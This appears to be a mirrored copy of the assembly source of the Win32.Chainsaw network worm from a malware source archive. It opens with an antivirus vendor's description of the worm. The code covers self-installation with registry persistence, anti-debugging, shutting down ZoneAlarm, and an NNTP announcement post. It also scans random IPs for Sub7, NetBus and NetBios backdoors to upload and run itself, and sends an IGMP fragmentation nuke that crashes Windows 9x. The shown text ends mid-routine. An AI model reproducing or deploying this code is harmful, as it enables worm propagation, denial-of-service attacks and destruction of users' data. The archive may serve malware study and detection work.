mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-16 03:58:34 +00:00
1599 lines
61 KiB
NASM
1599 lines
61 KiB
NASM
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CHAINSAW.ASM]ÄÄÄ
|
|
; AVP description.
|
|
; ---------------------------------------------------------------------------
|
|
; Worm.Chainsaw
|
|
;
|
|
; This is a network worm with Internet spreading ability. When the worm
|
|
; is run on a system for the first time, it installs itself. To do that it
|
|
; copies itself to the Windows system directory using the filename
|
|
; WINMINE.EXE and also to the root directory of the current drive using the
|
|
; filename CHAINSAW.EXE. The latter file then gets "hidden" attribute set.
|
|
; The worm then registers itself in the system registry, auto-run key:
|
|
;
|
|
; HKCU\Software\Microsoft\Windows\CurrentVersion\Run
|
|
; Mines = path\WINMINE.EXE
|
|
;
|
|
; where "path" is the Windows system directory name. The worm then exits and
|
|
; triggers its infection routines when run during the next Windows startup.
|
|
;
|
|
; During the next Windows startup the worm is automatically executed by
|
|
; Windows by an auto-run key in the system registry. The worm then registers
|
|
; itself as hidden application and runs its spreading routine. That routine
|
|
; enumerates shared drives on the local networks [* It doesn't even get near
|
|
; local shares. *], gets the Windows directory on a drive (if there is one),
|
|
; copies itself to there using the filename CHAINSAW.EXE (if the drive is
|
|
; mapped for full access) and registers itself in there by writing the "Run="
|
|
; instruction to the [windows] section of the WIN.INI file on the remote
|
|
; drive. During the next Windows restart the worm copy will be activated and
|
|
; will complete the infection.
|
|
;
|
|
; When the worm is started it sends a notifying message to the
|
|
; "alt.horror" conference. The message has the fields:
|
|
;
|
|
; From: "Leatherface" <hacked.up.for@bbq.net>
|
|
; Subject: CHAINSAWED
|
|
; Newsgroups: alt.horror
|
|
; Message body:
|
|
;
|
|
; WHO WILL SURVIVE
|
|
; AND WHAT WILL BE LEFT OF THEM?
|
|
;
|
|
; The worm also tries to send its copies to remote machines. To do that it
|
|
; gets randomly selected IP addresses in an endless loop and tries to connect
|
|
; to them. If it succeeds the worm tries to connect to a "Backdoor" trojan
|
|
; program on the remote machine (if the machine is infected by a backdoor
|
|
; program). After successfully connecting, the worm sends its copy to the
|
|
; remote machine and forces the Backdoor to execute it there. The list of
|
|
; "supported" Backdoors is as follows: Sub7, NetBus, NetBios. It's obvious
|
|
; that the worm has a very low chance to spread itself in such a way [*
|
|
; Several worms such as VBS/NetLog and W32/Qaz use *only* NetBios to spread,
|
|
; and are currently in the wild in large numbers, try to explain me this
|
|
; then. *]
|
|
;
|
|
; Depending on the system date the worm also sends a "Deny-of-service"
|
|
; packet to a randomly selected IP address. That packet is prepared so that
|
|
; it may cause a remote Win9x machine to crash (because of a bug in Win9x
|
|
; libraries). The worm intends to do that on the 31th of the month, but
|
|
; because of a bug compares that value with "year" field, and as a result
|
|
; will bomb random selected machines only if tje system date is set to the
|
|
; year 0031 [* Oops! Well atleast this version has it fixed :*]
|
|
;
|
|
; The worm also disables the "ZoneAlarm" Internet protection utility.
|
|
;
|
|
; Depending on its random counter the worm spawns a trojan program that
|
|
; erases data on the hard drive by writing the text to there:
|
|
;
|
|
; "THE FILM WHICH YOU ARE ABOUT TO SEE IS AN ACCOUNT OF THE
|
|
; TRAGEDY WHICH BEFELL A GROUP OF FIVE YOUTHS. IN PARTICULAR
|
|
; SALLY HARDESTY AND HER INVALID BROTHER FRANKLIN. IT IS ALL
|
|
; THE MORE TRAGIC IN THAT THEY WERE YOUNG. BUT, HAD THEY
|
|
; LIVED VERY, VERY LONG LIVES, THEY COULD NOT HAVE EXPECTED
|
|
; NOR WOULD THEY HAVE WISHED TO SEE AS MUCH OF THE MAD AND
|
|
; MACABRE AS THEY WERE TO SEE THAT DAY. FOR THEM AN IDYLLIC
|
|
; SUMMER AFTERNOON DRIVE BECAME A NIGHTMARE. THE EVENTS OF
|
|
; THAT DAY WERE TO LEAD TO THE DISCOVERY OF ONE OF THE MOST
|
|
; BIZARRE CRIMES IN THE ANNALS OF AMERICAN HISTORY,
|
|
; THE TEXAS CHAIN SAW MASSACRE..."
|
|
; ---------------------------------------------------------------------------
|
|
|
|
;============================================================================
|
|
;
|
|
;
|
|
; NAME: Win32.Chainsaw v1.01
|
|
; TYPE: NetBios/SubSeven/NetBus worm.
|
|
; DATE: July - September 2000.
|
|
; AUTHOR: T-2000 / Immortal Riot.
|
|
; E-MAIL: T2000_@hotmail.com
|
|
; PAYLOAD: Sector trashing.
|
|
;
|
|
; FEATURES:
|
|
;
|
|
; - Disables ZoneAlarm firewall.
|
|
; - Not visible in 9x tasklist.
|
|
; - Sends usenet message on installation.
|
|
; - DoS'es random hosts on 31st of any month.
|
|
; - Anti-debugging code.
|
|
;
|
|
; Randomly scans the Internet for hosts running either SubSeven 2, NetBus 1,
|
|
; or NetBios, and then installs itself in the systems it can get access
|
|
; to. It's main payload is to IGMP DoS random Internet hosts on every 31st
|
|
; of the month, which will BSOD every released version of Windoze 95/98
|
|
; that isn't patched or firewalled.
|
|
;
|
|
;============================================================================
|
|
|
|
; I've kept the code clear and understandable for everyone, no optimizations
|
|
; of any kind, mainly due the file alignment, the filesize will usually just
|
|
; stay the same wether your code is optimized or not.
|
|
|
|
.386
|
|
.MODEL FLAT
|
|
.DATA
|
|
|
|
JUMPS
|
|
|
|
; Converts a little indian word to a big indian word.
|
|
DWBI MACRO Lil_Indian
|
|
DW (Lil_Indian SHR 8) + ((Lil_Indian AND 00FFh) SHL 8)
|
|
ENDM
|
|
|
|
|
|
EXTRN WSAGetLastError:PROC
|
|
EXTRN ioctlsocket:PROC
|
|
EXTRN ExitProcess:PROC
|
|
EXTRN WSAStartup:PROC
|
|
EXTRN WritePrivateProfileStringA:PROC
|
|
EXTRN WSACleanup:PROC
|
|
EXTRN socket:PROC
|
|
EXTRN closesocket:PROC
|
|
EXTRN setsockopt:PROC
|
|
EXTRN InternetGetConnectedState:PROC
|
|
EXTRN DeleteFileA:PROC
|
|
EXTRN connect:PROC
|
|
EXTRN setsockopt:PROC
|
|
EXTRN PeekMessageA:PROC
|
|
EXTRN SetFileAttributesA:PROC
|
|
EXTRN GetSystemDirectoryA:PROC
|
|
EXTRN CreateFileA:PROC
|
|
EXTRN recv:PROC
|
|
EXTRN send:PROC
|
|
EXTRN sendto:PROC
|
|
EXTRN CloseHandle:PROC
|
|
EXTRN GetSystemTime:PROC
|
|
EXTRN GetModuleHandle
|
|
EXTRN RegOpenKeyExA:PROC
|
|
EXTRN RegSetValueExA:PROC
|
|
EXTRN RegCloseKey:PROC
|
|
EXTRN ReadFile:PROC
|
|
EXTRN CopyFileA:PROC
|
|
EXTRN WNetAddConnection2A:PROC
|
|
EXTRN WNetCancelConnection2A:PROC
|
|
EXTRN SetErrorMode:PROC
|
|
EXTRN GetModuleFileNameA:PROC
|
|
EXTRN FindWindowA:PROC
|
|
EXTRN PostMessageA:PROC
|
|
EXTRN GetTickCount:PROC
|
|
EXTRN WriteFile:PROC
|
|
EXTRN GetLocalTime:PROC
|
|
EXTRN WinExec:PROC
|
|
EXTRN select:PROC
|
|
EXTRN GetPrivateProfileStringA:PROC
|
|
EXTRN GetModuleHandleA:PROC
|
|
EXTRN GetProcAddress:PROC
|
|
EXTRN WNetAddConnection2A:PROC
|
|
EXTRN WNetEnumResourceA:PROC
|
|
EXTRN WNetOpenEnumA:PROC
|
|
EXTRN WNetCloseEnum:PROC
|
|
EXTRN RegQueryValueExA:PROC
|
|
EXTRN gethostbyname:PROC
|
|
EXTRN inet_ntoa:PROC
|
|
|
|
|
|
Worm_Size EQU 6144
|
|
|
|
SEM_NOGPFAULTERRORBOX EQU 00000002h
|
|
OPEN_EXISTING EQU 00000003h
|
|
CREATE_ALWAYS EQU 00000002h
|
|
SO_SNDTIMEO EQU 1005h
|
|
SO_RCVTIMEO EQU 1006h
|
|
RESOURCE_GLOBALNET EQU 00000002h
|
|
RESOURCEUSAGE_CONNECTABLE EQU 00000001h
|
|
RESOURCEUSAGE_CONTAINER EQU 00000002h
|
|
RESOURCEUSAGE_CONNECTABLE EQU 00000001h
|
|
RESOURCETYPE_DISK EQU 00000001h
|
|
SOL_SOCKET EQU 0FFFFh
|
|
HKEY_CURRENT_USER EQU 80000001h
|
|
KEY_QUERY_VALUE EQU 1
|
|
KEY_WRITE EQU 00020006h
|
|
REG_SZ EQU 00000001h
|
|
GENERIC_READ EQU 80000000h
|
|
GENERIC_WRITE EQU 40000000h
|
|
FILE_SHARE_READ EQU 00000001h
|
|
FILE_ATTRIBUTE_HIDDEN EQU 2
|
|
AF_INET EQU 2
|
|
IPPROTO_IGMP EQU 2
|
|
SOCK_STREAM EQU 1
|
|
SOCK_RAW EQU 3
|
|
FIONBIO EQU 8004667Eh
|
|
WM_QUIT EQU 0012h
|
|
|
|
|
|
S7_Upload_Req DB 'RTFChainsaw.exe'
|
|
End_S7_Upload_Req:
|
|
|
|
S7_Upload_Size DB 'SFT046144'
|
|
End_S7_Upload_Size:
|
|
|
|
S7_Exec_Req DB 'FMXChainsaw.exe'
|
|
End_S7_Exec_Req:
|
|
|
|
NB_Password DB 'Password;1;netbus', 0Dh
|
|
End_NB_Password:
|
|
|
|
NB_Upload_Req DB 'UploadFile;Chainsaw.exe;6144;\', 0Dh
|
|
End_NB_Upload_Req:
|
|
|
|
NB_Exec_File DB 'StartApp;\Chainsaw.exe', 0Dh
|
|
End_NB_Exec_File:
|
|
|
|
Nuke_File DB 'BBQ666.COM', 0
|
|
|
|
sz_Kernel32 DB 'KERNEL32', 0
|
|
sz_RegServProc DB 'RegisterServiceProcess', 0
|
|
|
|
Win_Ini_Run_Key DB 'run', 0
|
|
Windows_Section DB 'windows', 0
|
|
|
|
Run_Key DB 'Software\Microsoft\Windows\CurrentVersion\Run', 0
|
|
ZoneAlarm_Window DB 'ZoneAlarm', 0
|
|
|
|
Reg_Handle_1 DD 0
|
|
Reg_Handle_2 DD 0
|
|
sz_Account_Mgr DB 'Software\Microsoft\Internet Account Manager', 0
|
|
Account_Key DB 'Software\Microsoft\Internet Account Manager\Accounts\'
|
|
Account_Index DB '00000000', 0
|
|
sz_Def_News_Acc DB 'Default News Account', 0
|
|
sz_NNTP_Server DB 'NNTP Server', 0
|
|
|
|
Size_Acc_Buffer DD 9
|
|
Size_NNTP_Buf DD 128
|
|
|
|
s_POST DB 'POST', 0Dh, 0Ah
|
|
s_QUIT DB 'QUIT', 0Dh, 0Ah
|
|
|
|
; Header.
|
|
|
|
News_Message: DB 'From: "Leatherface" <hacked.up.for@bbq.net>', 0Dh, 0Ah
|
|
DB 'Subject: CHAINSAWED', 0Dh, 0Ah
|
|
DB 'Newsgroups: alt.horror', 0Dh, 0Ah
|
|
DB 0Dh, 0Ah
|
|
|
|
; Body.
|
|
|
|
DB 'WHO WILL SURVIVE', 0Dh, 0Ah
|
|
DB 'AND WHAT WILL BE LEFT OF THEM?', 0Dh, 0Ah
|
|
|
|
; End-of-data command.
|
|
|
|
DB '.', 0Dh, 0Ah
|
|
End_News_Message:
|
|
|
|
MsDos_Sys DB 'T:\MSDOS.SYS', 0
|
|
Win_Dir_Key DB 'WinDir', 0
|
|
Paths_Section DB 'Paths', 0
|
|
|
|
Slash_Win_Ini DB '\'
|
|
Win_Ini DB 'WIN.INI', 0
|
|
|
|
Remote_Drive DB 'T:', 0
|
|
Cover_Name DB '\WINMINE.EXE', 0
|
|
|
|
Remote_Trojan DB 'T:'
|
|
Root_Dropper DB '\Chainsaw.exe', 0
|
|
Run_Key_Name DB 'Mines', 0
|
|
|
|
Boole_False DD 0
|
|
Boole_True DD 1
|
|
|
|
NetBios_Remote DB '\\666.666.666.666', 0
|
|
|
|
Time_Out: DD 1 ; - Seconds.
|
|
DD 500 ; - Milliseconds.
|
|
|
|
IO_Time_Out DD 5000
|
|
|
|
Usenet_Conn: DW AF_INET ; connect() structures.
|
|
DWBI 119
|
|
Usenet_IP DD 0
|
|
DB 8 DUP(0)
|
|
|
|
Nuke_Conn: DW AF_INET
|
|
DW 0
|
|
Nuke_IP DD 0
|
|
DB 8 DUP(0)
|
|
|
|
Sub7_Conn: DW AF_INET
|
|
DWBI 27374
|
|
Sub7_IP DD 0
|
|
DB 8 DUP(0)
|
|
|
|
NetBus_Conn: DW AF_INET
|
|
DWBI 12345
|
|
NetBus_IP DD 0
|
|
DB 8 DUP(0)
|
|
|
|
NetBus_Conn_2: DW AF_INET
|
|
DWBI (12345+1)
|
|
NetBus_IP_2 DD 0
|
|
DB 8 DUP(0)
|
|
|
|
NetBios_Conn: DW AF_INET
|
|
DWBI 139
|
|
NetBios_IP DD 0
|
|
DB 8 DUP(0)
|
|
|
|
Win_Dir DB 260 DUP(0)
|
|
Default_String DB 0
|
|
|
|
Own_Path DB 260 DUP(0)
|
|
|
|
Net_Struc_Count DD 1
|
|
Enum_Buf_Size DD 666
|
|
Enum_Buffer DB 666 DUP(0)
|
|
|
|
Net_Resource_Struc:
|
|
|
|
DD 0
|
|
DD 0
|
|
DD 0
|
|
DD 0
|
|
DD 0
|
|
DD OFFSET NetBios_Remote
|
|
DD 0
|
|
DD 0
|
|
|
|
Net_Resource: DD 0
|
|
DD 0
|
|
DD 0
|
|
Net_Usage DD 0
|
|
Net_Local_Name DD 0
|
|
Net_Remote_Name DD 0
|
|
DD 0
|
|
DD 0
|
|
|
|
Select_Struc:
|
|
Sock_Count DD 3
|
|
Sub7_Socket DD 0
|
|
NetBus_Socket DD 0
|
|
NetBios_Socket DD 0
|
|
|
|
IGMP_Socket DD 0
|
|
News_Socket DD 0
|
|
NetBus_Socket_2 DD 0
|
|
|
|
Connect_Select: DD 4 DUP(0)
|
|
|
|
IGMP_Nuke DB 15000 DUP(0)
|
|
|
|
Temp DD 0
|
|
Random_Init DD 0
|
|
|
|
Enum_Handle DD 0
|
|
|
|
Size_Cover_Path DD 0
|
|
|
|
System_Time DW 8 DUP(0)
|
|
|
|
Worm_Code DB Worm_Size DUP(0)
|
|
WSA_Data DB 400 DUP(0)
|
|
System_Dir DB 260 DUP(0)
|
|
NNTP_Server DB 128 DUP(0)
|
|
Buffer DB 512 DUP(0)
|
|
|
|
.CODE
|
|
|
|
DB '[-T2IR-]', 0
|
|
START:
|
|
PUSH SEM_NOGPFAULTERRORBOX ; On error just bail out
|
|
CALL SetErrorMode ; without displaying shit.
|
|
|
|
PUSH 0 ; Fake a dispatch to get the
|
|
PUSH 0 ; hourglass cursor to
|
|
PUSH 0 ; disappear.
|
|
PUSH 0
|
|
PUSH 0
|
|
CALL PeekMessageA
|
|
|
|
; Get offset of CreateFileA in the jump table.
|
|
|
|
MOV ESI, DWORD PTR CreateFileA+2
|
|
LODSD
|
|
|
|
; Soft-Ice's BPX command works with 0CCh breakpoints
|
|
; to hook API's, so here we simply check if a common
|
|
; API has been hooked and kill the system if true.
|
|
; For a virus it's better to check every fetched API
|
|
; for a debugger hook.
|
|
|
|
CMP BYTE PTR [ESI], 0CCh ; Debugger has a hook on it?
|
|
JE Payload
|
|
|
|
CALL GetTickCount
|
|
|
|
MOV Random_Init, EAX
|
|
|
|
PUSH 260 ; Get the path to ourself.
|
|
PUSH OFFSET Own_Path
|
|
PUSH 0
|
|
CALL GetModuleFileNameA
|
|
|
|
MOV EDI, OFFSET System_Dir
|
|
|
|
PUSH 260 ; Get the System directory.
|
|
PUSH EDI
|
|
CALL GetSystemDirectoryA
|
|
|
|
MOV ESI, OFFSET Cover_Name
|
|
ADD EDI, EAX
|
|
|
|
MOVSD ; Append our cover name
|
|
MOVSD ; \WINMINE.EXE to it.
|
|
MOVSD
|
|
MOVSB
|
|
|
|
SUB EDI, OFFSET System_Dir ; Save size of path.
|
|
MOV Size_Cover_Path, EDI
|
|
|
|
PUSH 1 ; Copy us to the system
|
|
PUSH OFFSET System_Dir ; directory under the cover
|
|
PUSH OFFSET Own_Path ; name.
|
|
CALL CopyFileA
|
|
|
|
XCHG ECX, EAX ; Virus is already installed?
|
|
JECXZ Check_Trigger
|
|
|
|
PUSH 1 ; Copy root dropper to root
|
|
PUSH OFFSET Root_Dropper ; to indicate this is the 1st
|
|
PUSH OFFSET Own_Path ; run of the worm.
|
|
CALL CopyFileA
|
|
|
|
PUSH FILE_ATTRIBUTE_HIDDEN ; Hide it.
|
|
PUSH OFFSET Root_Dropper
|
|
CALL SetFileAttributesA
|
|
|
|
PUSH OFFSET Reg_Handle_1 ; Open up a handle to the
|
|
PUSH KEY_WRITE ; registry Run key.
|
|
PUSH 0
|
|
PUSH OFFSET Run_Key
|
|
PUSH HKEY_CURRENT_USER
|
|
CALL RegOpenKeyExA
|
|
|
|
PUSH Size_Cover_Path ; Make the cover file run
|
|
PUSH OFFSET System_Dir ; every bootup.
|
|
PUSH REG_SZ
|
|
PUSH 0
|
|
PUSH OFFSET Run_Key_Name
|
|
PUSH Reg_Handle_1
|
|
CALL RegSetValueExA
|
|
|
|
PUSH Reg_Handle_1 ; Close registry key.
|
|
CALL RegCloseKey
|
|
|
|
PUSH OFFSET Win_Ini ; Remove temporary reference
|
|
PUSH 0 ; to virus dropper in
|
|
PUSH OFFSET Win_Ini_Run_Key ; WIN.INI.
|
|
PUSH OFFSET Windows_Section
|
|
CALL WritePrivateProfileStringA
|
|
|
|
Exit: PUSH 0
|
|
CALL ExitProcess
|
|
|
|
Check_Trigger: MOV EAX, 666 ; 1/666 chance of activating.
|
|
CALL Random_EAX
|
|
|
|
DEC EAX ; Today is trashday?
|
|
JZ Payload
|
|
|
|
PUSH 0 ; Open ourselves.
|
|
PUSH 0
|
|
PUSH OPEN_EXISTING
|
|
PUSH 0
|
|
PUSH FILE_SHARE_READ
|
|
PUSH GENERIC_READ
|
|
PUSH OFFSET Own_Path
|
|
CALL CreateFileA
|
|
|
|
MOV EBX, EAX
|
|
|
|
INC EAX
|
|
JZ Exit
|
|
|
|
PUSH 0 ; Read in ourselves.
|
|
PUSH OFFSET Temp
|
|
PUSH Worm_Size+1
|
|
PUSH OFFSET Worm_Code
|
|
PUSH EBX
|
|
CALL ReadFile
|
|
|
|
CMP Temp, Worm_Size ; Wormsize has changed?
|
|
JNE Payload ; Then we're likely
|
|
; incomplete or infected
|
|
; with a virus.
|
|
|
|
PUSH EBX ; Close ourselves again.
|
|
CALL CloseHandle
|
|
|
|
PUSH OFFSET sz_Kernel32 ; Get base of KERNEL32.DLL.
|
|
CALL GetModuleHandleA
|
|
|
|
PUSH OFFSET sz_RegServProc ; Get RegisterServiceProcess.
|
|
PUSH EAX
|
|
CALL GetProcAddress
|
|
|
|
XCHG ECX, EAX
|
|
JECXZ Init_Winsock
|
|
|
|
PUSH 1 ; Register our process as a
|
|
PUSH 0 ; hidden service.
|
|
CALL ECX
|
|
|
|
Init_Winsock: PUSH OFFSET WSA_Data ; Initialize winsock.
|
|
PUSH 0202h
|
|
CALL WSAStartup
|
|
|
|
OR EAX, EAX ; Error?
|
|
JNZ Exit
|
|
|
|
Chk_Inet_State: PUSH 0 ; We're connected to the
|
|
PUSH OFFSET Temp ; Internet?
|
|
CALL InternetGetConnectedState
|
|
|
|
DEC EAX ; Else just loop and check
|
|
JNZ Chk_Inet_State ; again until we are.
|
|
|
|
; Here we close the ZoneAlarm firewall if it is
|
|
; found active, reason being that A) it will pop-up
|
|
; a warning box whenever a program (ie. our worm)
|
|
; is attempting to access the Internet, (this is how
|
|
; many RAT trojans get caught these days) and B) it
|
|
; is likely to block our ports.
|
|
|
|
PUSH OFFSET ZoneAlarm_Window ; Attempt to locate the
|
|
PUSH 0 ; ZoneAlarm window.
|
|
CALL FindWindowA
|
|
|
|
XCHG ECX, EAX
|
|
JECXZ Check_1st_Run
|
|
|
|
PUSH 0 ; Tell ZoneAlarm to quit.
|
|
PUSH 0
|
|
PUSH WM_QUIT
|
|
PUSH ECX
|
|
CALL PostMessageA
|
|
|
|
Check_1st_Run: PUSH OFFSET Root_Dropper ; Can we delete the root
|
|
CALL DeleteFileA ; dropper?
|
|
|
|
XCHG ECX, EAX
|
|
JECXZ Do_Random_IP
|
|
|
|
; This is the first Internet run of the worm, so
|
|
; send a usenet message to alt.horror to note
|
|
; our presence. Better to just use a public
|
|
; dump place instead of e-mail for example, this
|
|
; way they can't track you or kill the account.
|
|
|
|
PUSH OFFSET Reg_Handle_1 ; Open a handle to Internet
|
|
PUSH KEY_QUERY_VALUE ; Account Manager.
|
|
PUSH 0
|
|
PUSH OFFSET sz_Account_Mgr
|
|
PUSH HKEY_CURRENT_USER
|
|
CALL RegOpenKeyExA
|
|
|
|
OR EAX, EAX
|
|
JNZ Do_Random_IP
|
|
|
|
PUSH OFFSET Size_Acc_Buffer ; Get default news account.
|
|
PUSH OFFSET Account_Index
|
|
PUSH 0
|
|
PUSH 0
|
|
PUSH OFFSET sz_Def_News_Acc
|
|
PUSH Reg_Handle_1
|
|
CALL RegQueryValueExA
|
|
|
|
OR EAX, EAX
|
|
JNZ Close_Reg_1
|
|
|
|
PUSH OFFSET Reg_Handle_2 ; Open the default news
|
|
PUSH KEY_QUERY_VALUE ; account.
|
|
PUSH 0
|
|
PUSH OFFSET Account_Key
|
|
PUSH HKEY_CURRENT_USER
|
|
CALL RegOpenKeyExA
|
|
|
|
OR EAX, EAX
|
|
JNZ Close_Reg_1
|
|
|
|
PUSH OFFSET Size_NNTP_Buf ; Get it's NNTP server.
|
|
PUSH OFFSET NNTP_Server
|
|
PUSH 0
|
|
PUSH 0
|
|
PUSH OFFSET sz_NNTP_Server
|
|
PUSH Reg_Handle_2
|
|
CALL RegQueryValueExA
|
|
|
|
OR EAX, EAX
|
|
JNZ Close_Reg_2
|
|
|
|
PUSH OFFSET NNTP_Server ; Convert the DNS-name to
|
|
CALL gethostbyname ; an IP-address.
|
|
|
|
XCHG ECX, EAX
|
|
JECXZ Close_Reg_2
|
|
|
|
MOV ESI, [ECX+12] ; Fetch IP-address.
|
|
LODSD
|
|
PUSH DWORD PTR [EAX]
|
|
POP Usenet_IP
|
|
|
|
PUSH 0
|
|
PUSH SOCK_STREAM
|
|
PUSH AF_INET
|
|
CALL socket
|
|
|
|
MOV News_Socket, EAX
|
|
|
|
INC EAX ; Error?
|
|
JZ Close_Reg_2
|
|
|
|
MOV EBX, News_Socket
|
|
CALL Set_Time_Outs
|
|
|
|
PUSH 16
|
|
PUSH OFFSET Usenet_Conn
|
|
PUSH News_Socket
|
|
CALL connect
|
|
|
|
INC EAX
|
|
JZ Close_Reg_2
|
|
|
|
MOV EDI, OFFSET Buffer
|
|
|
|
PUSH 0 ; Receive data from the
|
|
PUSH 512 ; socket.
|
|
PUSH EDI
|
|
PUSH News_Socket
|
|
CALL recv
|
|
|
|
INC EAX
|
|
JZ Close_News
|
|
|
|
CMP BYTE PTR [EDI], '2'
|
|
JNE Send_QUIT
|
|
|
|
PUSH 0
|
|
PUSH 6
|
|
PUSH OFFSET s_POST
|
|
PUSH News_Socket
|
|
CALL send
|
|
|
|
INC EAX
|
|
JZ Close_News
|
|
|
|
PUSH 0 ; Receive data from the
|
|
PUSH 512 ; socket.
|
|
PUSH EDI
|
|
PUSH News_Socket
|
|
CALL recv
|
|
|
|
INC EAX
|
|
JZ Close_News
|
|
|
|
CMP BYTE PTR [EDI], '3'
|
|
JNE Send_QUIT
|
|
|
|
PUSH 0
|
|
PUSH (End_News_Message-News_Message)
|
|
PUSH OFFSET News_Message
|
|
PUSH News_Socket
|
|
CALL send
|
|
|
|
INC EAX
|
|
JZ Close_News
|
|
|
|
PUSH 0 ; Receive data from the
|
|
PUSH 512 ; socket.
|
|
PUSH EDI
|
|
PUSH News_Socket
|
|
CALL recv
|
|
|
|
INC EAX
|
|
JZ Close_News
|
|
|
|
Send_QUIT: PUSH 0
|
|
PUSH 6
|
|
PUSH OFFSET s_QUIT
|
|
PUSH News_Socket
|
|
CALL send
|
|
|
|
INC EAX
|
|
JZ Close_News
|
|
|
|
PUSH 0 ; Receive data from the
|
|
PUSH 512 ; socket.
|
|
PUSH EDI
|
|
PUSH News_Socket
|
|
CALL recv
|
|
|
|
Close_News: PUSH News_Socket
|
|
CALL closesocket
|
|
|
|
Close_Reg_2: PUSH Reg_Handle_2
|
|
CALL RegCloseKey
|
|
|
|
Close_Reg_1: PUSH Reg_Handle_1
|
|
CALL RegCloseKey
|
|
|
|
Do_Random_IP: CALL Random_AL_254 ; Get random octet (1-254).
|
|
|
|
XCHG EBX, EAX
|
|
|
|
CALL Random_AL_254 ; Another one.
|
|
|
|
SHL EBX, 8
|
|
MOV BL, AL
|
|
|
|
CALL Random_AL_254 ; And another one.
|
|
|
|
SHL EBX, 8
|
|
MOV BL, AL
|
|
|
|
Rand_A_Class: MOV AL, 223 ; Random A/B/C class IP.
|
|
CALL Random_AL
|
|
|
|
CMP AL, 10 ; Private network segment.
|
|
JE Rand_A_Class
|
|
|
|
CMP AL, 127 ; Localhost network.
|
|
JE Rand_A_Class
|
|
|
|
SHL EBX, 8
|
|
MOV BL, AL
|
|
|
|
MOV Nuke_IP, EBX
|
|
MOV Sub7_IP, EBX ; Store the random IP in our
|
|
MOV NetBus_IP, EBX ; structures.
|
|
MOV NetBus_IP_2, EBX
|
|
MOV NetBios_IP, EBX
|
|
|
|
PUSH OFFSET System_Time ; Get system date.
|
|
CALL GetSystemTime
|
|
|
|
CMP System_Time+(3*2), 31 ; Is today nuke day?
|
|
JNE IP_To_ASCIIZ
|
|
|
|
PUSH IPPROTO_IGMP ; Create a raw IGMP socket.
|
|
PUSH SOCK_RAW
|
|
PUSH AF_INET
|
|
CALL socket
|
|
|
|
MOV IGMP_Socket, EAX
|
|
|
|
INC EAX
|
|
JZ Do_Random_IP
|
|
|
|
MOV EDI, 10 ; Send 10 nuke packets.
|
|
|
|
; Windows 95/98 has problems with handling fragmented IGMP
|
|
; packets, when processing a whole bunch of these the system
|
|
; will usually BSOD. Here we simply send a large packet (the
|
|
; packet will arrive regardless of content it seems), which
|
|
; will automatically be fragmented by the underlying TCP/IP
|
|
; layers. Officially IGMP packets aren't supposed to leave
|
|
; the current subnet, so if your ISP uses filtering (mainly
|
|
; cable/ADSL connections), this nuke won't get through,
|
|
; however SLIP/PPP connections (mainly dialups), seem to have
|
|
; no problems delivering it.
|
|
|
|
Send_Nuke: PUSH 16 ; Send the nuke.
|
|
PUSH OFFSET Nuke_Conn
|
|
PUSH 0
|
|
PUSH 15000
|
|
PUSH OFFSET IGMP_Nuke
|
|
PUSH IGMP_Socket
|
|
CALL sendto
|
|
|
|
DEC EDI ; Send all 10 packets.
|
|
JNZ Send_Nuke
|
|
|
|
Exit_Nuke: PUSH IGMP_Socket
|
|
CALL closesocket
|
|
|
|
JMP Do_Random_IP
|
|
|
|
IP_To_ASCIIZ: PUSH EBX ; Convert DWORD to ASCIIZ
|
|
CALL inet_ntoa ; for the NetBios API's.
|
|
|
|
XCHG ESI, EAX
|
|
MOV EDI, OFFSET NetBios_Remote+2
|
|
|
|
; Copy the ASCIIZ IP to our own buffer.
|
|
|
|
Copy_ASCIIZ_IP: LODSB
|
|
STOSB
|
|
|
|
OR AL, AL ; Did entire ASCIIZ string?
|
|
JNZ Copy_ASCIIZ_IP
|
|
|
|
PUSH 0 ; Create sockets.
|
|
PUSH SOCK_STREAM
|
|
PUSH AF_INET
|
|
CALL socket
|
|
|
|
MOV Sub7_Socket, EAX
|
|
|
|
INC EAX
|
|
JZ Chk_Inet_State
|
|
|
|
PUSH 0
|
|
PUSH SOCK_STREAM
|
|
PUSH AF_INET
|
|
CALL socket
|
|
|
|
MOV NetBus_Socket, EAX
|
|
|
|
INC EAX
|
|
JZ Close_Sub7
|
|
|
|
PUSH 0
|
|
PUSH SOCK_STREAM
|
|
PUSH AF_INET
|
|
CALL socket
|
|
|
|
MOV NetBios_Socket, EAX
|
|
|
|
INC EAX
|
|
JZ Close_NetBus
|
|
|
|
; The standard connect() timeout interval is like 100 seconds
|
|
; or so, obviously this is way to long for portscanning, so we
|
|
; need to set our own timeout interval. Unfortunately Winsock
|
|
; does not have any API that can set a connect() timeout interval
|
|
; (neither does BSD Sockets btw). Kind of stupid, but anyways,
|
|
; here we realize our own timeout function by first switching
|
|
; the connect() sockets to non-blocking mode, and then running
|
|
; select() on em with a 1500ms timeout to see if they are connected.
|
|
|
|
PUSH OFFSET Boole_True ; Set socket to non-blocking
|
|
PUSH FIONBIO ; mode.
|
|
PUSH Sub7_Socket
|
|
CALL ioctlsocket
|
|
|
|
PUSH OFFSET Boole_True
|
|
PUSH FIONBIO
|
|
PUSH NetBus_Socket
|
|
CALL ioctlsocket
|
|
|
|
PUSH OFFSET Boole_True
|
|
PUSH FIONBIO
|
|
PUSH NetBios_Socket
|
|
CALL ioctlsocket
|
|
|
|
PUSH 16 ; Connect SubSeven port.
|
|
PUSH OFFSET Sub7_Conn
|
|
PUSH Sub7_Socket
|
|
CALL connect
|
|
|
|
PUSH 16 ; Connect NetBus port.
|
|
PUSH OFFSET NetBus_Conn
|
|
PUSH NetBus_Socket
|
|
CALL connect
|
|
|
|
PUSH 16 ; Connect NetBios port.
|
|
PUSH OFFSET NetBios_Conn ; (only to quickly probe the
|
|
PUSH NetBios_Socket ; host for NetBios).
|
|
CALL connect
|
|
|
|
MOV ESI, OFFSET Select_Struc
|
|
MOV EDI, OFFSET Connect_Select
|
|
|
|
MOVSD
|
|
MOVSD
|
|
MOVSD
|
|
MOVSD
|
|
|
|
PUSH OFFSET Time_Out ; Check if any sockets are
|
|
PUSH 0 ; writeable (connected)
|
|
PUSH OFFSET Connect_Select ; within 1500ms.
|
|
PUSH 0
|
|
PUSH 0
|
|
CALL select
|
|
|
|
INC EAX ; Error?
|
|
JZ Close_NetBios
|
